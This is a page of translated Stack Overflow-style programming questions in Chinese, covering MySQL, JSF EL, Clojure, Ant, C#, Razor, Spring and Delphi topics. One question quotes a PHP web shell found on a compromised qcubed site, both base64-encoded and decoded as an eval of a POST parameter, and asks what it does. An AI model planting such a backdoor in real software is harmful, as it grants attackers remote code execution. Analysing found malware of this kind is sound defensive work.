问题列表 - 第39716页

MySQL中存储过程的命名参数

我可以在MySQL中为存储过程使用命名参数吗?我需要调用这样的存储过程:

CALL stored_procedure(@param1 = "foo1", @param2 = "foo2");
Run Code Online (Sandbox Code Playgroud)

答案是

CALL stored_procedure(@param1 := "foo1", @param2 := "foo2");
Run Code Online (Sandbox Code Playgroud)

感谢Pentium10.

mysql stored-procedures

2
推荐指数
2
解决办法
4335
查看次数

com.sun.el包含什么?

这只是由Java定义的API,由(比如说)服务器实现,还是JRE也包含实现?

事实是我试图在我的JSF页面上使用'+'连接两个字符串,但它抛出了NumberFormatException.它似乎试图使用Long.parseLong()解析我的字符串.

我很惊讶在堆栈跟踪中看到这个包,因为我认为这些表达式是Groovy表达式.这肯定不是Groovy,而是其他一些EL.

我正在使用Weblogic服务器.

jsf weblogic el oracle-adf

3
推荐指数
1
解决办法
2036
查看次数

Clojure类型提示语法

在"Programming Clojure"一书中(Halloway,S.,(2009).Program Clojure.Raleigh,NC:Pragmatic Bookshelf.)他使用语法显示了类型提示

(defn describe-class [#^Class c]
  ...)
Run Code Online (Sandbox Code Playgroud)

Clojure网站上,类型提示显示没有#阅读器宏:

(defn len2 [^String x]
  ...)
Run Code Online (Sandbox Code Playgroud)

哪个是对的?

types clojure

9
推荐指数
1
解决办法
1597
查看次数

Ant - Java - zipfileset - 不包括目录

我有一个像这样创建zip的蚂蚁目标 -

<zip destfile="${dist}/myzip.zip">
    <zipfileset dir="docs/manual" prefix="docs/userguide"/>    
</zip>
Run Code Online (Sandbox Code Playgroud)

这基本上创建了存档,myzip.zip其中包含存档中以docs/manual docs/userguide为前缀的所有文件和目录.

但我不想包含docs/manual要复制到存档中的所有目录,我有一个目录,olddocs/manual其中我要排除...如何实现这一目标?

java ant zip

7
推荐指数
1
解决办法
2万
查看次数

将nullable double设置为null有什么问题?

可能重复:
为什么我不能在三元if语句中将可空int设置为null?
可空类型和三元运算符.为什么这不起作用?

以下是错的

public double? Progress { get; set; }
Progress = null; // works
Progress = 1; // works
Progress = (1 == 2) ? 0.0 : null; // fails
Run Code Online (Sandbox Code Playgroud)

无法确定条件表达式的类型,因为"double"和"<null>"之间没有隐式转换

c#

15
推荐指数
1
解决办法
2万
查看次数

Razor的本地化景观

我试图诙谐,并使用VirtualPathProvider来查找本地化的视图.它接受请求的视图路径并在检查文件后修改它.如果找到,它将返回本地化的虚拟文件:

public pseudoclass MyFileProvider : VirtualPathProvider
{

    bool FileExists(string requestedPath)
    {
        if (IsLocalizedView(requestedPath))
          return true;
       return base.FileExists(requestedPath);
    }

    bool IsLocalizedView(string requestedPath)
    {
        var uri = requestedUri.AddLocaleByMagic("sv");
        if (FileExistsInternal(uri))
          return true;
    }

    //some more stuff to return the actual file
}
Run Code Online (Sandbox Code Playgroud)

问题是我得到以下异常:

VirtualPathProvider返回一个VirtualFile对象,其VirtualPath设置为'/Views/Shared/_Layout.sv.cshtml'而不是预期的'/Views/Shared/_Layout.cshtml'.

当然,我可以伪造文件路径,但这会产生缓存和不同的本地化问题.对?

任何人都有更好的方法来创建本地化的视图?我不想使用相同的视图,而是使用资源字符串.这样的观点非常可怕,几乎让我哭泣,因为它们很难阅读.

如果你还没有理解我在寻找什么:

/Views/User/Details.sv.cshtml

Hejsan @Model.FirstName

Detta är en lite rolig text på svenska.
Run Code Online (Sandbox Code Playgroud)

/Views/User/Details.en.cshtml

Hello @Model.FirstName

This is a test on english.
Run Code Online (Sandbox Code Playgroud)

调节器

public ActionResult Details()
{
  return View(new User()); //should automagically use a swedish or english …
Run Code Online (Sandbox Code Playgroud)

asp.net-mvc localization razor

3
推荐指数
1
解决办法
5990
查看次数

Spring批处理和集成

我是春天的初学者,我必须为学校做一个项目.我可以使用Spring Batch和Integration进行哪种项目.我知道我可以将文件写入目录,编写,读取和修改逗号分隔文件,但我无法描绘可以将这些技术结合起来的场景.

java spring spring-integration spring-batch

8
推荐指数
2
解决办法
6070
查看次数

base64编码的$ _POST ['e']变量上的eval实际上做了什么?

好的,这就是我用Google搜索的内容:

似乎有一个名为"image.php"的上传文件上传到qcubed目录中.

该image.php文件包含以下base64代码:

aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==
Run Code Online (Sandbox Code Playgroud)

解码它增加了这个:

if(isset($_POST['e']))

eval(base64_decode($_POST['e']));

echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';
Run Code Online (Sandbox Code Playgroud)

搜索输出的字符串我在其他网站上发现了simillar qcubed漏洞.

解码我得到的最后一个回音字符串:

196.231-172.28:ifacermpubmice:afac42eri02
Run Code Online (Sandbox Code Playgroud)

我真的不明白它的作用(使用:http://ostermiller.org/calc/encode.html).

能否请您解释一下我在这里面临的具体情况?我应该解决哪些安全漏洞才能解决这个问题?

php security eval

9
推荐指数
1
解决办法
6478
查看次数

在Delphi 5中嵌入Excel文件

我正在尝试将Excel文件嵌入到我的Delphi 5应用程序中,因此我可以避免我的用户意外删除该文件.

使用嵌入式文件,我使用"保存"对话框在磁盘上创建它,然后使用该Excel := CreateOleObject('Excel.Application');方法打开它.我已经看过如何使用THandles加载资源的示例,但我似乎并没有使用它Excel.WorkBooks.Open(EmbeddedExcelFile);.

你以前做过这样的事吗?你会怎么做?

谢谢!

embed delphi excel

0
推荐指数
1
解决办法
1757
查看次数

Spring hibernate模板列表作为参数

我正在尝试执行此查询:代码:

this.getHibernateTemplate()
      find("select distinct ci.customer " +
             "from CustomerInvoice ci " +
              "where ci.id in (?) " , ids);
Run Code Online (Sandbox Code Playgroud)

将id作为List,id的类型为Long

执行时我得到例外

码:

java.lang.ClassCastException: java.util.ArrayList cannot be cast to java.lang.Long
 at org.hibernate.type.LongType.set(LongType.java:42)
 at org.hibernate.type.NullableType.nullSafeSet(NullableType.java:136)
 at org.hibernate.type.NullableType.nullSafeSet(NullableType.java:116)
 at org.hibernate.param.PositionalParameterSpecification.bind(PositionalParameterSpecification.java:39)
 at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:491)
 at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1563)
 at org.hibernate.loader.Loader.doQuery(Loader.java:673)
 at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:236)
 at org.hibernate.loader.Loader.doList(Loader.java:2220)
 at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2104)
 at org.hibernate.loader.Loader.list(Loader.java:2099)
 at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:378)
 at org.hibernate.hql.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:338)
 at org.hibernate.engine.query.HQLQueryPlan.performList(HQLQueryPlan.java:172)
 at org.hibernate.impl.SessionImpl.list(SessionImpl.java:1121)
 at org.hibernate.impl.QueryImpl.list(QueryImpl.java:79)
 at org.springframework.orm.hibernate3.HibernateTemplate$29.doInHibernate(HibernateTemplate.java:849)
 at org.springframework.orm.hibernate3.HibernateTemplate.execute(HibernateTemplate.java:372)
 at org.springframework.orm.hibernate3.HibernateTemplate.find(HibernateTemplate.java:840)
 at org.springframework.orm.hibernate3.HibernateTemplate.find(HibernateTemplate.java:836)
 at
Run Code Online (Sandbox Code Playgroud)

java spring hibernate

6
推荐指数
2
解决办法
2万
查看次数